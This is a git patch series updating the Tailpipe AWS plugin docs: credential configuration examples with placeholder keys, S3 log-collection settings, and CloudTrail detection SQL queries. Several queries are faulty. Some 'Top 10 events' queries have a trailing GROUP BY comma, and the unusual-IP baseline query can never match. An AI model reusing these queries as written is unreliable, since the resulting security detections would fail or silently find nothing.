will need to re-authenticate outside of Tailpipe - Tailpipe currently cannot re-authenticate you. - -#### aws credential file: -```ini -[account_a_with_sso] -sso_start_url = https://d-9a672b0000.awsapps.com/start -sso_region = us-east-2 -sso_account_id = 000000000000 -sso_role_name = SSO-ReadOnly -region = us-east-1 -``` - -#### aws.tpc: -```hcl -connection "aws" "account_a_with_sso" { - profile = "account_a_with_sso" +connection "aws" "aws_session_token" { + access_key = "AKIA..." + secret_key = "dP+C+J..." + session_token = "AQoDX..." } ``` -### AssumeRole Credentials (No MFA) - -If your aws credential file contains profiles that assume a role via the `source_profile` and `role_arn` options and MFA is not required, Tailpipe can use the profile as-is: - -#### aws credential file: - -```ini -# This user must have sts:AssumeRole permission for arn:aws:iam::*:role/tpc_role -[cli_user] -aws_access_key_id = AKIA4YFAKEKEYXTDS252 -aws_secret_access_key = SH42YMW5p3EThisIsNotRealzTiEUwXN8BOIOF5J8m - -[account_a_role_without_mfa] -role_arn = arn:aws:iam::111111111111:role/tpc_role -source_profile = cli_user -external_id = xxxxx -region = us-east-1 - -[account_b_role_without_mfa] -role_arn = arn:aws:iam::222222222222:role/tpc_role -source_profile = cli_user -external_id = yyyyy -region = us-east-2 -``` - -#### aws.tpc: - -```hcl -connection "aws" "account_a" { - profile = "account_a_role_without_mfa" -} - -connection "aws" "account_b" { - profile = "account_b_role_without_mfa" -} -``` - -### AssumeRole Credentials (With MFA) - -Currently, Tailpipe doesn't support prompting for an MFA token at run time. To overcome this problem you will need to generate an AWS profile with temporary credentials. - -One way to accomplish this is to use the `credential_process` to [generate the credentials with a script or program](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-sourcing-external.html) and cache the tokens in a new profile. There is a [sample `mfa.sh` script](https://raw.githubusercontent.com/turbot/steampipe-plugin-aws/main/scripts/mfa.sh) in the `scripts` directory of the [steampipe-plugin-aws](https://github.com/turbot/steampipe-plugin-aws) repo that you can use, and there are several open source projects that automate this process as well. - -Note that Tailpipe cannot prompt you for your token currently, so you must authenticate before starting Tailpipe, and re-authenticate outside of Tailpipe whenever your credentials expire. - -#### aws credential file: - -```ini -[cli_user] -aws_access_key_id = AKIA4YFAKEKEYXTDS252 -aws_secret_access_key = SH42YMW5p3EThisIsNotRealzTiEUwXN8BOIOF5J8m -mfa_serial = arn:aws:iam::999999999999:mfa/my_role_mfa - -[account_a_role_with_mfa] -credential_process = sh -c 'mfa.sh arn:aws:iam::111111111111:role/my_role arn:aws:iam::999999999999:mfa/my_role_mfa cli_user 2> $(tty)' - -[account_b_role_with_mfa] -credential_process = sh -c 'mfa.sh arn:aws:iam::222222222222:role/my_role arn:aws:iam::999999999999:mfa/my_role_mfa cli_user 2> $(tty)' -``` - -#### aws.tpc: - -```hcl -connection "aws" "account_a" { - profile = "account_a_role_with_mfa" - default_region = "us-east-1" -} - -connection "aws" "account_b" { - profile = "account_b_role_with_mfa" - regions = ["us-east-2"] -} -``` - -### AssumeRole Credentials (in ECS) - -If you are using Tailpipe on AWS ECS then you need to ensure that have separated your [Task Role](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task-iam-roles.html) and [Execution Role](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task_execution_IAM_role.html) within the Task Definition. You will also need to create a separate service role that your `Task Role` can assume. - -The Task Role should have permissions to assume your service role. Additionally, your service role needs a trust relationship set up, and have permissions to assume your other roles. - -#### Task Role IAM Assume Role -```json -{ - "Version": "2012-10-17", - "Statement": [ - { - "Action": [ - "sts:AssumeRole" - ], - "Effect": "Allow", - "Resource": [ - "arn:aws:iam::111111111111:role/steampipe-service" - ] - } - ] -} -``` - -#### Service Role -```json -{ - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::111111111111:role/steampipe-ecs-task-role" - }, - "Action": "sts:AssumeRole" - } - ] -} -``` - -This will allow you to configure Tailpipe now to assume the service role. - -#### aws credential file: -```ini -[default] -role_arn = arn:aws:iam::111111111111:role/tailpipe-service -credential_source = EcsContainer - -[account_b] -role_arn = arn:aws:iam::222222222222:role/tailpipe_ro_role -source_profile = default -``` - -#### aws.tpc: -```hcl -connection "aws" "account_b" { - profile = "account_b" -} -``` - -### AWS-Vault Credentials - -Tailpipe can use profiles that use [aws-vault](https://github.com/99designs/aws-vault) via the `credential_process`. aws-vault can even be used when using AssumeRole Credentials with MFA (you must authenticate/re-authenticate outside of Tailpipe whenever your credentials expire if you are using MFA). - -When authenticating with temporary credentials, like using an access key pair with aws-vault, some IAM and STS APIs may be restricted. You can avoid creating a temporary session with the `--no-session` option (e.g., `aws-vault exec my_profile --no-session -- tailpipe collect aws_cloudtrail_log.account_a"`). For more information, please see [aws-vault Temporary credentials limitations with STS, IAM](https://github.com/99designs/aws-vault/blob/master/USAGE.md#temporary-credentials-limitations-with-sts-iam). - -#### aws credential file: -```ini -[vault_user_account] -credential_process = /usr/local/bin/aws-vault exec -j vault_user_profile # vault_user_profile is the name of the profile in AWS_VAULT... - -[account_a] -source_profile = vault_user_account -role_arn = arn:aws:iam::123456789012:role/my_role -mfa_serial = arn:aws:iam::123456789012:mfa/my_role_mfa -``` - -#### aws.tpc: -```hcl -connection "aws" "account_a" { - profile = "account_a" - regions = ["*"] -} -``` - -### IAM Access Key Pair Credentials - -The AWS plugin allows you set static credentials with the `access_key`, `secret_key`, and `session_token` arguments in your connection. - -```hcl -connection "aws_account_a" { - access_key = "ASIA3ODZSWFYSN2PFHPJ" - secret_key = "gMCYsoGqjfThisISNotARealKeyVVhh" - session_token = "FwoGZXIvYXdzEJv//////////wEaDINJ" - default_region = "us-east-1" -} -``` - -### Credentials from Environment Variables - -The AWS plugin will use the standard AWS environment variables to obtain credentials **only if other arguments (`profile`, `access_key`/`secret_key`, `regions`) are not specified / no connection is passed**: - -```sh -export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE -export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY -export AWS_DEFAULT_REGION=eu-west-1 -export AWS_SESSION_TOKEN=AQoDYXdzEJr... -export AWS_ROLE_SESSION_NAME=steampipe@myaccount -``` - -### Credentials from an EC2 Instance Profile - -If you are running Tailpipe on a AWS EC2 instance, and that instance has an [instance profile attached](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/iam-roles-for-amazon-ec2.html) then Tailpipe will automatically use the associated IAM role without the need for making or passing a connection. +For more information on connections in Tailpipe, please see [Managing AWS Connections](https://tailpipe.io/docs/reference/config-files/connection/aws). ## Open Source & Contributing diff --git a/docs/tables/aws_cloudtrail_log/index.md b/docs/tables/aws_cloudtrail_log/index.md new file mode 100644 index 00000000..2bbce7cd --- /dev/null +++ b/docs/tables/aws_cloudtrail_log/index.md @@ -0,0 +1,78 @@ +--- +title: "Tailpipe Table: aws_cloudtrail_log - Query AWS CloudTrail Logs" +description: "Allows users to query AWS CloudTrail logs." +--- + +# Table: aws_cloudtrail_log - Query AWS CloudTrail logs + +The `aws_cloudtrail_log` table allows you to query data from AWS CloudTrail logs. This table provides detailed information about API calls made within your AWS account, including the event name, source IP address, user identity, and more. + +## Queries + +### Root activity + +Find any actions taken by the root user. + +```sql +select + event_time, + event_name, + source_ip_address, + user_agent, + aws_region, + recipient_account_id as account_id +from + aws_cloudtrail_log +where + user_identity.type = 'Root' +order by + event_time desc; +``` + +### Top 10 events + +List the top 10 events and how many times they were called. + +```sql +select + event_source, + event_name, + count(*) as event_count +from + aws_cloudtrail_log +group by + event_source, + event_name, +order by + event_count desc +limit 10; +``` + +### High volume S3 access requests + +Find users generating a high volume of S3 access requests to identify potential anomalous activity. + +```sql +select + user_identity.arn as user_arn, + count(*) as event_count, + date_trunc('minute', event_time) as event_minute +from + aws_cloudtrail_log +where + event_source = 's3.amazonaws.com' + and event_name in ('GetObject', 'ListBucket') +group by + user_identity.arn, + event_minute +having + count(*) > 100 +order by + event_count desc; +``` + +Additional queries: + +- [Event count by day](https://hub.tailpipe.io/plugins/turbot/aws/queries) +- [Detect actions from unapproved IP addresses](https://hub.tailpipe.io/plugins/turbot/aws/queries) +- [List VPC security group updates](https://hub.tailpipe.io/plugins/turbot/aws/queries) diff --git a/docs/tables/aws_cloudtrail_log/queries.md b/docs/tables/aws_cloudtrail_log/queries.md new file mode 100644 index 00000000..57f09364 --- /dev/null +++ b/docs/tables/aws_cloudtrail_log/queries.md @@ -0,0 +1,349 @@ +## Count Examples + +### Daily event counts + +Return a count of events per day to see trends over time. + +```sql +select + strftime(event_time, '%Y-%m-%d') AS event_date, + count(*) AS event_count +from + aws_cloudtrail_log +group by + event_date +order by + event_date asc; +``` + +### Top 10 events + +List the top 10 events and how many times they were called. + +```sql +select + event_source, + event_name, + count(*) as event_count +from + aws_cloudtrail_log +group by + event_source, + event_name, +order by + event_count desc +limit 10; +``` + +### Top 10 events (exclude read-only) + +List the top 10 events, excluding read-only events, and how many times they were called. + +```sql +select + event_source, + event_name, + count(*) as event_count +from + aws_cloudtrail_log +where + not read_only +group by + event_source, + event_name, +order by + event_count desc +limit 10; +``` + +### Event counts by account + +Count and group events by account ID, event source, and event name to highlight activity distribution across accounts. + +```sql +select + event_source, + event_name, + recipient_account_id, + count(*) as event_count +from + aws_cloudtrail_log +group by + event_source, + event_name, + recipient_account_id +order by + event_count desc; +``` + +### Error code counts + +```sql +select + error_code, + count(*) as event_count +from + aws_cloudtrail_log +where + error_code is not null +group by + error_code +order by + event_count desc; +``` + +## Detection Examples + +### Detect default EBS encryption disabled in a region + +```sql +select + event_time, + event_source, + event_name, + user_identity.arn as user_arn, + source_ip_address, + aws_region, + recipient_account_id as account_id +from + aws_cloudtrail_log +where + event_source = 'ec2.amazonaws.com' + and event_name = 'DisableEbsEncryptionByDefault' + and error_code is null +order by + event_time desc; +``` + +### Detect attempts to stop CloudTrail trail logging + +```sql +select + event_time, + event_source, + event_name, + user_identity.arn as user_arn, + source_ip_address, + aws_region, + recipient_account_id as account_id +from + aws_cloudtrail_log +where + event_name in ('StopLogging', 'DeleteTrail') + and event_source = 'cloudtrail.amazonaws.com' + and error_code is not null +order by + event_time desc; +``` + +### Detect unsuccessful AWS console login attempts + +```sql +select + event_time, + event_name, + user_identity.arn as user_arn, + source_ip_address, + user_agent, + aws_region, + recipient_account_id as account_id, + additional_event_data +from + aws_cloudtrail_log +where + event_source = 'signin.amazonaws.com' + and event_name = 'ConsoleLogin' + and error_code is not null +order by + event_time desc; +``` + +### Root activity + +Find any actions taken by the root user. + +```sql +select + event_time, + event_name, + source_ip_address, + user_agent, + aws_region, + recipient_account_id as account_id +from + aws_cloudtrail_log +where + user_identity.type = 'Root' +order by + event_time desc; +``` + +### Detect actions in unapproved regions + +```sql +select + event_time, + event_source, + event_name, + user_identity.arn as user_arn, + source_ip_address, + aws_region, + recipient_account_id as account_id +from + aws_cloudtrail_log +where + aws_region not in ('us-east-1', 'us-west-1') +order by + event_time desc; +``` + +### Detect actions from unapproved IP addresses + +```sql +select + event_time, + event_source, + event_name, + user_identity.arn as user_arn, + source_ip_address, + aws_region, + recipient_account_id as account_id +from + aws_cloudtrail_log +where + source_ip_address not in ('192.0.2.146', '206.253.208.100') +order by + event_time desc; +``` + +## Operational Examples + +### List VPC security group rule updates + +```sql +select + event_time, + event_source, + event_name, + user_identity.arn as user_arn, + source_ip_address, + aws_region, + recipient_account_id as account_id +from + aws_cloudtrail_log +where + event_source = 'ec2.amazonaws.com' + and event_name in ('AuthorizeSecurityGroupEgress', 'AuthorizeSecurityGroupIngress', 'RevokeSecurityGroupEgress', 'RevokeSecurityGroupIngress') + and error_code is null +order by + event_time desc; +``` + +### List IAM user policy updates + +```sql +select + event_time, + event_source, + event_name, + request_parameters, + user_identity.arn as user_arn, + source_ip_address, + aws_region, + recipient_account_id as account_id +from + aws_cloudtrail_log +where + event_source = 'iam.amazonaws.com' + and event_name in ('AttachUserPolicy', 'DetachUserPolicy', 'PutUserPolicy') +order by + event_time desc; +``` + +## Volume Examples + +### Detect high volume of S3 bucket access requests + +```sql +select + user_identity.arn as user_arn, + count(*) as event_count, + date_trunc('minute', event_time) as event_minute +from + aws_cloudtrail_log +where + event_source = 's3.amazonaws.com' + and event_name in ('GetObject', 'PutObject', 'ListBucket') +group by + user_identity.arn, + event_minute +having + count(*) > 100 +order by + event_count desc; +``` + +### Detect excessive IAM role assumption + +```sql +select + user_identity.arn as user_arn, + count(*) as event_count, + date_trunc('hour', event_time) as event_hour +from + aws_cloudtrail_log +where + event_source = 'sts.amazonaws.com' + and event_name = 'AssumeRole' +group by + user_identity.arn, + event_hour +having + count(*) > 10 +order by + event_hour desc, + event_count desc; +``` + +## Baseline Examples + +### Detect unusual source IP addresses for users + +```sql +select + user_identity.arn as user_arn, + source_ip_address, + count(*) as access_count, + date_trunc('day', event_time) as access_day +from + aws_cloudtrail_log +where + source_ip_address not like '%.amazonaws.com' + and source_ip_address not in (select distinct source_ip_address from aws_cloudtrail_log) +group by + user_identity.arn, source_ip_address, access_day +having + access_count > 5 +order by + access_count desc; +``` + +### Detect activity outside of normal hours (between 8 PM and 6 AM) + +```sql +select + event_time, + event_source, + event_name, + request_parameters, + user_identity.arn as user_arn, + source_ip_address, + aws_region, + recipient_account_id as account_id +from + aws_cloudtrail_log +where + cast(strftime(event_time, '%H') as integer) >= 20 + or cast(strftime(event_time, '%H') as integer) < 6 +order by + event_time desc; From 41eff38c54072abb1dcf94c187e6fc0d0acc0a62 Mon Sep 17 00:00:00 2001 From: Cody Bruno Date: Wed, 22 Jan 2025 15:58:30 -0500 Subject: [PATCH 144/180] Update aws_cloudtrail_log index doc and aws_s3_bucket source doc --- docs/sources/aws_s3_bucket.md | 96 ++++++++++++++++++++----- docs/tables/aws_cloudtrail_log/index.md | 8 +-- 2 files changed, 81 insertions(+), 23 deletions(-) diff --git a/docs/sources/aws_s3_bucket.md b/docs/sources/aws_s3_bucket.md index 050710fa..85603502 100644 --- a/docs/sources/aws_s3_bucket.md +++ b/docs/sources/aws_s3_bucket.md @@ -3,52 +3,114 @@ title: "Source: aws_s3_bucket - Collect logs from AWS S3 buckets" description: "Allows users to collect logs from AWS S3 buckets." --- -# Source: aws_s3_bucket - Obtain logs from AWS S3 buckets +# Source: aws_s3_bucket - Collect logs from AWS S3 buckets -An AWS S3 bucket is a cloud storage resource used to store objects like data files and metadata. It serves as a central repository for logs from AWS services such as CloudTrail, ELB, and VPC flow logs, and more. +An AWS S3 bucket is a cloud storage resource used to store objects like data files and metadata. It serves as a central repository for logs from AWS services such as CloudTrail, ELB, VPC flow logs, and more. -Using this source, you can collect, filter, and analyze logs stored in S3, enabling system monitoring, security investigations, and compliance reporting. +Using this source, you can collect, filter, and analyze logs stored in S3 buckets, enabling system monitoring, security investigations, and compliance reporting. + +Each table defines a default `file_path` for the `aws_s3_bucket` source, so if your logs are stored in default AWS locations, you don't need to override the `file_path` argument. ## Examples -Collect all CloudTrail logs: +Collect logs for all accounts and regions: ```hcl partition "aws_cloudtrail_log" "all" { source "aws_s3_bucket" { - bucket = "my-logging-bucket" + bucket = "cloudtrail-s3-log-bucket" } } ``` -Using a specific AWS connection, collect all CloudTrail logs: +Collect logs stored behind a prefix: ```hcl +partition "aws_cloudtrail_log" "all_with_prefix" { + source "aws_s3_bucket" { + bucket = "cloudtrail-s3-log-bucket" + prefix = "sample/prefix/" + } +} +``` + +Use a specific AWS connection: + +```hcl +connection "aws" "dev" { + profile = "dev" +} + partition "aws_cloudtrail_log" "dev" { source "aws_s3_bucket" { connection = connection.aws.dev - bucket = "my-logging-bucket" + bucket = "cloudtrail-s3-log-bucket" + } +} +``` + + +Collect logs for us-east-1: + +```hcl +partition "aws_cloudtrail_log" "cloudtrail_logs" { + source "aws_s3_bucket" { + bucket = "cloudtrail-s3-log-bucket" + file_layout = "AWSLogs/(%{DATA:org_id}/)?%{NUMBER:account_id}/CloudTrail/us-east-1/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA}.json.gz" + } +} +``` + +Collect logs for multiple regions: + +```hcl +partition "aws_cloudtrail_log" "cloudtrail_logs" { + source "aws_s3_bucket" { + bucket = "cloudtrail-s3-log-bucket" + file_layout = "AWSLogs/(%{DATA:org_id}/)?%{NUMBER:account_id}/CloudTrail/(us-east-1|us-east-2)/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA}.json.gz" + } +} +``` + +Collect logs for organization `o-aa111bb222`: + +```hcl +partition "aws_cloudtrail_log" "cloudtrail_logs" { + source "aws_s3_bucket" { + bucket = "cloudtrail-s3-log-bucket" + file_layout = "AWSLogs/o-aa111bb222/%{NUMBER:account_id}/CloudTrail/(us-east-1|us-east-2)/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA}.json.gz" + } +} +``` + + +Collect logs for account `123456789012`: + +```hcl +partition "aws_cloudtrail_log" "cloudtrail_logs" { + source "aws_s3_bucket" { + bucket = "cloudtrail-s3-log-bucket" + file_layout = "AWSLogs/(%{DATA:org_id}/)?123456789012/CloudTrail/us-east-1/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA}.json.gz" } } ``` -Collect logs from us-east-1 only: +Collect logs from a custom path: ```hcl partition "aws_cloudtrail_log" "cloudtrail_logs" { source "aws_s3_bucket" { - bucket = "turbot-632902152528-us-east-1" - file_layout = "AWSLogs/%{NUMBER:account_id}/CloudTrail/us-east-1/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{NUMBER:prefix}_CloudTrail_%{DATA:region_file}_%{YEAR:year_file}%{MONTHNUM:month_file}%{MONTHDAY:day_file}T%{HOUR:hour}%{MINUTE:minute}Z_%{DATA:suffix}.json.gz" + bucket = "cloudtrail-s3-log-bucket" + file_layout = "CustomLogs/Dev/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA}.json.gz" } } ``` ## Arguments -| Argument | Description | Default | -|-------------------------|---------------------------------------------------------------------------------------|---------------| -| `bucket` | The name of the S3 bucket to collect logs from. | | -| `connection` | The connection to use to connect to the AWS account. | | -| `file_layout` | Regex of pattern filename layout, used to extract information such as year, month, day, etc. | | -| `lexicographical_order` | Used to indicate log files are in lexicographical order. | `false` | -| `start_after_key` | The key to start collecting logs from. | | +| Argument | Description | +|---------------|-------------------------------------------------------------------------------------------------------| +| `bucket` | The name of the S3 bucket to collect logs from. | +| `connection` | The connection to use to connect to the AWS account. | +| `file_layout` | Pattern filename layout using Grok pattern, used to extract information such as year, month, day, etc.| +| `prefix` | The S3 key prefix that comes after the name of the bucket you have designated for log file delivery. | diff --git a/docs/tables/aws_cloudtrail_log/index.md b/docs/tables/aws_cloudtrail_log/index.md index 2bbce7cd..764e407c 100644 --- a/docs/tables/aws_cloudtrail_log/index.md +++ b/docs/tables/aws_cloudtrail_log/index.md @@ -9,6 +9,8 @@ The `aws_cloudtrail_log` table allows you to query data from AWS CloudTrail logs ## Queries +For a full list of example queries, please see [aws_cloudtrail_log queries](https://hub.tailpipe.io/plugins/turbot/aws/queries/aws_cloudtrail_log). + ### Root activity Find any actions taken by the root user. @@ -70,9 +72,3 @@ having order by event_count desc; ``` - -Additional queries: - -- [Event count by day](https://hub.tailpipe.io/plugins/turbot/aws/queries) -- [Detect actions from unapproved IP addresses](https://hub.tailpipe.io/plugins/turbot/aws/queries) -- [List VPC security group updates](https://hub.tailpipe.io/plugins/turbot/aws/queries) From 4dfee84f84e4a1974c901400616c86054b44bf0a Mon Sep 17 00:00:00 2001 From: Cody Bruno Date: Wed, 22 Jan 2025 19:19:55 -0500 Subject: [PATCH 145/180] Update various docs with more info and sections --- README.md | 102 +++++++++++++++++++----- docs/index.md | 86 ++++++++++++++++---- docs/sources/aws_s3_bucket.md | 55 +++++++------ docs/tables/aws_cloudtrail_log.md | 90 +++++++++++++++++++-- docs/tables/aws_cloudtrail_log/index.md | 82 +++++++++++++++++++ 5 files changed, 348 insertions(+), 67 deletions(-) diff --git a/README.md b/README.md index 153c0ebc..884b6d9c 100644 --- a/README.md +++ b/README.md @@ -1,43 +1,64 @@ # AWS Plugin for Tailpipe -Collect and query AWS logs using SQL to track activity, monitor trends, and detect anomalies. +Collect and query AWS logs using SQL to track activity, monitor trends, detect anomalies, and more! -- **[Get started →](https://hub.tailpipe.io/plugins/turbot/aws)** -- Documentation: [Table queries](https://hub.tailpipe.io/plugins/turbot/aws/queries) -- Community: [Join #tailpipe on Slack →](https://turbot.com/community/join) -- Get involved: [Issues](https://github.com/turbot/tailpipe-plugin-aws/issues) +## Documentation -## Quick Start +- **[AWS plugin →](https://hub.tailpipe.io/plugins/turbot/aws)** +- **[Table definitions →](https://hub.tailpipe.io/plugins/turbot/aws/tables)** +- **[Table queries →](https://hub.tailpipe.io/plugins/turbot/aws/queries)** +- **[Source definitions →](https://hub.tailpipe.io/plugins/turbot/aws/sources)** -Install the plugin with [Tailpipe](https://tailpipe.io): +## Getting Started + +### Installation + +Download and install Tailpipe (https://tailpipe.io/downloads). Or use Brew: + +```sh +brew tap turbot/tap +brew install tailpipe +``` + +Install the plugin: ```sh tailpipe plugin install aws ``` +### Configuration + Configure your log source: ```sh vi ~/.tailpipe/config/aws.tpc ``` -```terraform -connection "aws" "dev" { - profile = "dev" +```hcl +connection "aws" "aws_profile" { + profile = "my-profile" } -partition "aws_cloudtrail_log" "dev" { +partition "aws_cloudtrail_log" "my_logs" { source "aws_s3_bucket" { - connection = connection.aws.dev + connection = connection.aws.aws_profile bucket = "aws-cloudtrail-logs-bucket" } } ``` +### Usage + Collect logs: ```sh -tailpipe collect aws_cloudtrail_log.dev +tailpipe collect aws_cloudtrail_log +``` + +List partitions and view row counts: + +```sh +tailpipe partition list ``` Run a query: @@ -61,13 +82,58 @@ For example: +----------------------+-----------------------+----------------------+-------------+ ``` -## Advanced Configuration +### Collection Dates + +When running `tailpipe collect` for the first time, logs from the last 7 days are collected. Subsequent `tailpipe collect` runs will collect logs from the last collection date. -The AWS plugin has the power to: -* Collect logs from various sources, including AWS CloudWatch log groups, S3 buckets, and more -* Use many different methods for credentials (roles, SSO, etc.) +You can override the collection window by specifying `--from`: + +```sh +tailpipe collect aws_cloudtrail_log --from 2025-01-01 +``` + +You can also use relative times. For instance, to collect logs from the last 60 days: + +```sh +tailpipe collect aws_cloudtrail_log --from T-60d +``` + +Please note that if you specify a date in `--from`, Tailpipe will delete any collected data for that partition starting from that date to help avoid gaps in the data. + +For more examples of how to use `--from` and other arguments, please see [tailpipe collect](https://tailpipe.io/docs/reference/cli/collect) reference documentation. + +### Connections + +By default, the following environment variables will be used for authentication: + +- `AWS_PROFILE` +- `AWS_ACCESS_KEY_ID` +- `AWS_SECRET_ACCESS_KEY` + +You can also create `connection` resources in configuration files: + +```sh +vi ~/.tailpipe/config/aws.tpc +``` + +```hcl +connection "aws" "aws_profile" { + profile = "my-profile" +} + +connection "aws" "aws_access_key_pair" { + access_key = "AKIA..." + secret_key = "dP+C+J..." +} + +connection "aws" "aws_session_token" { + access_key = "AKIA..." + secret_key = "dP+C+J..." + session_token = "AQoDX..." +} +``` -- **[Detailed configuration guide →](https://hub.tailpipe.io/plugins/turbot/aws#get-started)** +For more information on connections in Tailpipe, please see [Managing AWS Connections](https://tailpipe.io/docs/reference/config-files/connection/aws). ## Developing diff --git a/docs/index.md b/docs/index.md index e17d49d9..77d4721c 100644 --- a/docs/index.md +++ b/docs/index.md @@ -50,41 +50,61 @@ order by ## Documentation -- **[Table definitions →](/plugins/turbot/aws/tables)** -- **[Table queries →](/plugins/turbot/aws/queries)** -- **[Source definitions →](/plugins/turbot/aws/sources)** +- **[AWS plugin →](https://hub.tailpipe.io/plugins/turbot/aws)** +- **[Table definitions →](https://hub.tailpipe.io/plugins/turbot/aws/tables)** +- **[Table queries →](https://hub.tailpipe.io/plugins/turbot/aws/queries)** +- **[Source definitions →](https://hub.tailpipe.io/plugins/turbot/aws/sources)** -## Get Started +## Getting Started -Install the plugin with [Tailpipe](https://tailpipe.io): +### Installation -```shell +Download and install Tailpipe (https://tailpipe.io/downloads). Or use Brew: + +```sh +brew tap turbot/tap +brew install tailpipe +``` + +Install the plugin: + +```sh tailpipe plugin install aws ``` +### Configuration + Configure your log source: -```shell +```sh vi ~/.tailpipe/config/aws.tpc ``` -```terraform -connection "aws" "dev" { - profile = "dev" +```hcl +connection "aws" "aws_profile" { + profile = "my-profile" } -partition "aws_cloudtrail_log" "dev" { +partition "aws_cloudtrail_log" "my_logs" { source "aws_s3_bucket" { - connection = connection.aws.dev + connection = connection.aws.aws_profile bucket = "aws-cloudtrail-logs-bucket" } } ``` +### Usage + Collect logs: -```shell -tailpipe collect aws_cloudtrail_log.dev +```sh +tailpipe collect aws_cloudtrail_log +``` + +List partitions and view row counts: + +```sh +tailpipe partition list ``` Run a query: @@ -93,7 +113,43 @@ Run a query: select event_source, event_name, recipient_account_id, count(*) as event_count from aws_cloudtrail_log where not read_only group by event_source, event_name, recipient_account_id order by event_count desc; ``` -## Connections +For example: + +```sh ++----------------------+-----------------------+----------------------+-------------+ +| event_source | event_name | recipient_account_id | event_count | ++----------------------+-----------------------+----------------------+-------------+ +| logs.amazonaws.com | CreateLogStream | 123456789012 | 793845 | +| ecs.amazonaws.com | RunTask | 456789012345 | 350836 | +| ecs.amazonaws.com | SubmitTaskStateChange | 456789012345 | 190185 | +| s3.amazonaws.com | PutObject | 789012345678 | 60842 | +| sns.amazonaws.com | TagResource | 456789012345 | 25499 | +| lambda.amazonaws.com | TagResource | 123456789012 | 20673 | ++----------------------+-----------------------+----------------------+-------------+ +``` + +### Collection Dates + +When running `tailpipe collect` for the first time, logs from the last 7 days are collected. Subsequent `tailpipe collect` runs will collect logs from the last collection date. + +You can override the collection window by specifying `--from`: + +```sh +tailpipe collect aws_cloudtrail_log --from 2025-01-01 +``` + +You can also use relative times. For instance, to collect logs from the last 60 days: + +```sh +tailpipe collect aws_cloudtrail_log --from T-60d +``` + +Please note that if you specify a date in `--from`, Tailpipe will delete any collected data for that partition starting from that date to help avoid gaps in the data. + +For more examples of how to use `--from` and other arguments, please see [tailpipe collect](https://tailpipe.io/docs/reference/cli/collect) reference documentation. + + +### Connections By default, the following environment variables will be used for authentication: diff --git a/docs/sources/aws_s3_bucket.md b/docs/sources/aws_s3_bucket.md index 85603502..bea497c1 100644 --- a/docs/sources/aws_s3_bucket.md +++ b/docs/sources/aws_s3_bucket.md @@ -9,24 +9,28 @@ An AWS S3 bucket is a cloud storage resource used to store objects like data fil Using this source, you can collect, filter, and analyze logs stored in S3 buckets, enabling system monitoring, security investigations, and compliance reporting. -Each table defines a default `file_path` for the `aws_s3_bucket` source, so if your logs are stored in default AWS locations, you don't need to override the `file_path` argument. +Each AWS table defines a default `file_path` for the `aws_s3_bucket` source, so if your logs are stored in default AWS log locations, you don't need to override the `file_path` argument. -## Examples +## CloudTrail Log Examples -Collect logs for all accounts and regions: +### Collect logs + +Collect CloudTrail logs for all accounts and regions. ```hcl -partition "aws_cloudtrail_log" "all" { +partition "aws_cloudtrail_log" "my_logs" { source "aws_s3_bucket" { bucket = "cloudtrail-s3-log-bucket" } } ``` -Collect logs stored behind a prefix: +### Specify a prefix + +Collect CloudTrail logs stored with an S3 key prefix. ```hcl -partition "aws_cloudtrail_log" "all_with_prefix" { +partition "aws_cloudtrail_log" "my_logs" { source "aws_s3_bucket" { bucket = "cloudtrail-s3-log-bucket" prefix = "sample/prefix/" @@ -34,7 +38,9 @@ partition "aws_cloudtrail_log" "all_with_prefix" { } ``` -Use a specific AWS connection: +### Use an AWS connection + +Use a specific AWS connection when connecting to the AWS account. ```hcl connection "aws" "dev" { @@ -49,56 +55,49 @@ partition "aws_cloudtrail_log" "dev" { } ``` +### Collect for an account -Collect logs for us-east-1: +Collect CloudTrail logs for a specific account in all regions. ```hcl -partition "aws_cloudtrail_log" "cloudtrail_logs" { +partition "aws_cloudtrail_log" "my_logs" { source "aws_s3_bucket" { bucket = "cloudtrail-s3-log-bucket" - file_layout = "AWSLogs/(%{DATA:org_id}/)?%{NUMBER:account_id}/CloudTrail/us-east-1/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA}.json.gz" + file_layout = "AWSLogs/(%{DATA:org_id}/)?123456789012/CloudTrail/%{DATA:region}/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA}.json.gz" } } ``` -Collect logs for multiple regions: - -```hcl -partition "aws_cloudtrail_log" "cloudtrail_logs" { - source "aws_s3_bucket" { - bucket = "cloudtrail-s3-log-bucket" - file_layout = "AWSLogs/(%{DATA:org_id}/)?%{NUMBER:account_id}/CloudTrail/(us-east-1|us-east-2)/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA}.json.gz" - } -} -``` +### Collect for a specific region -Collect logs for organization `o-aa111bb222`: +Collect CloudTrail logs for all accounts in us-east-1. ```hcl -partition "aws_cloudtrail_log" "cloudtrail_logs" { +partition "aws_cloudtrail_log" "my_logs" { source "aws_s3_bucket" { bucket = "cloudtrail-s3-log-bucket" - file_layout = "AWSLogs/o-aa111bb222/%{NUMBER:account_id}/CloudTrail/(us-east-1|us-east-2)/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA}.json.gz" + file_layout = "AWSLogs/(%{DATA:org_id}/)?%{NUMBER:account_id}/CloudTrail/us-east-1/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA}.json.gz" } } ``` +### Collect for multiple regions -Collect logs for account `123456789012`: +Collect CloudTrail logs for all accounts in us-east-1 and us-east-2. ```hcl -partition "aws_cloudtrail_log" "cloudtrail_logs" { 